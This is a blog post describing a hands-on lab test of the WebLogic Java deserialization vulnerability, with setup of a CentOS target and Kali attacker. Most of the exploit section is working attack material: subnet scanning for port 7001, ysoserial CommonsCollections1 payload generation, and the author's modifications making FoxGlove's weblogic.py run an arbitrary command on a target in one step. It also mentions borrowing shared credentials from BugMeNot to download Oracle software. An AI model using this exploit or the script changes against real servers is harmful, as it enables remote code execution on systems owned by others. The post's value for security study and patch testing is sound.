Hands on with WebLogic Serialization Vulnerability
January 23, 2016
Backstory
On November 7, 2015 FoxGlove Security released a blog entry entitled “What Do WebLogic, WebSphere, JBoss, Jenkins, OpenNMS, and Your Application Have in Common? This Vulnerability.” Along with their documentation, they released exploits for a variety of major Java applications. Their work was based on a talk at AppSec California 2015, “Marshalling Pickles: How Deserializing Objects Will Ruin Your Day”. The initial talk mentioned a vulnerability in Apache’s java Common Collection library. Additionally, the presenters released a tool that could generate Java serialized payloads for this library and more, this tool was called ysoserial. FoxGlove Security expanded upon the talk’s work and released the previously mentioned exploits that use ysoserial generated payloads.
I suggest checking out the blog entry and the talk if you haven’t, really interesting topic and great work from both groups!
Hands On
So after reading up on this topic, I had to start playing with this stuff. I decided to jump into the WebLogic exploit!
I went ahead and built my lab environment for testing. It consisted of two VMs: one Kali Linux and the other CentOS.
Configure CentOS
First things first, I made sure everything is up-to-date.
1 2 |
yum clean all yum upgrade |
Next, I installed JDK and checked version to verify that it was installed.
1 2 |
sudo rpm -i jdk-8u65-linux-x64.rpm java --version |
Lastly, I downloaded WebLogic’s generic install and started the installation. I then created a base_domain by clicking through the GUI prompts that appeared after running the .jar.
1 2 |
unzip fmw_12.2.1.0.0_wls_Disk1_1of1.zip java -jar fmw_12.2.1.0.0_wls.jar |
Note: In order to download WebLogic, I had to sign-in to Oracle. I used credentials from BugMeNot.com.
I opened the firewall for WebLogic and then started the server.
1 2 3 |
firewall-cmd --zone=public --add-port=7001/tcp --permanent firewall-cmd --reload ./startWebLogic.sh |
Configure Kali
Once again, I made sure that every is up-to-date.
1 |
apt-get update && apt-get upgrade |
Next, I pulled down the exploit code and ysoserial from GitHub into a fresh directory.
1 2 3 4 |
mkdir javaSerial cd javaSerial git clone https://github.com/foxglovesec/JavaUnserializeExploits.git wget https://github.com/frohoff/ysoserial/releases/download/v0.0.2/ysoserial-0.0.2-all.jar |
Exploit
Before any exploitation can be done, I first had to identify my target. WebLogic’s default port is 7001, so potential victims can be identified with nmap.
1 2 3 4 5 6 7 8 9 10 |
nmap -p 7001 192.168.109.0/24 --open Starting Nmap 6.49BETA5 ( https://nmap.org ) at 2016-01-16 17:05 EST Nmap scan report for 192.168.109.211 Host is up (0.00021s latency). PORT STATE SERVICE 7001/tcp open afs3-callback MAC Address: 00:0C:29:F2:C7:60 (VMware) Nmap done: 256 IP addresses (5 hosts up) scanned in 2.62 seconds |
In order to use this exploit, I first had to generate my payload using ysoserial using the following syntax.
1 |
java -jar ysoserial-0.0.2-all.jar [payload type] '[command to execute]' |
I generated my payload for the Apache Common Collection, had it touch a new file to verify the exploit, and saved it to payload.out
1 |
java -jar ysoserial-0.0.2-all.jar CommonsCollections1 'touch /tmp/pwned' > payload.out |
With the payload generated, I could now use the python exploit from FoxGlove Security by using the following syntax.
1 |
python weblogic.py [victim ip] [victim port] [payload] |
Unfortunately, due to the nature of the T3 protocol WebLogic uses, the exploit code must be modified to account for the different lengths of payload. The FoxGlove Security blog post pokes fun at this hassle, “You might have to adjust this depending on the payload you decide to use. You can easily do this dynamically as well, I’ll leave that as an exercise for the reader :)”. Challenged accepted!
I opened the python script and found that before the script sends the payload to the victim’s port, it appends the ysoserial generated payload behind some protocol header bytes, the payload length is defined by the first 4 bytes of this header. All we need to do is find the length of our payload, convert the length to hex, update the header with the correct length, and prepend our updated header to the front of the payload.
I did this by adding the following lines right before the payload is sent:
1 2 |
hexlength = str(bytearray.fromhex("{:08x}".format(len(payload)))) payload = hexlength + payload[4:] |
The first line gets the length of the payload and pads it to be the full 4 bytes. The second line prepends the length in hex to the payload, which is stripped of it’s hard coded length. Now the script will dynamically adjust for varying payload lengths.
Because I’m lazy, I didn’t like having to generate the payload with ysoserial and then have to run the python script. So I again updated the python script to automatically generate and use the payload. I also added some cheap command line argument checking. I did this by adding the following lines:
1 2 3 4 5 6 7 8 |
import os #check for args, print usage if incorrect if len(sys.argv) != 5: print '\nUsage:\nweblogic.py [victim ip] [victim port] [path to ysoserial] \'[command to execute]\'\n' sys.exit() #generates ysoserial payload os.system('java -jar ' + sys.argv[3] + ' CommonsCollections1 ' + '\'' + sys.argv[4] + '\' > payload.out') |
The new syntax is:
python weblogic.py [victim ip] [victim port] [path to ysoserial] ‘[command to execute]’
The exploit can now be leveraged with a single command. My updated script with my modifications can be found on my BitBucket and GitHub.
Here is a video of the whole process! My WebLogic instance just so happened to be running as root for demonstration purposes, but the commands executed will only have the privileges of the user who started the WebLogic server.
Thanks for reading!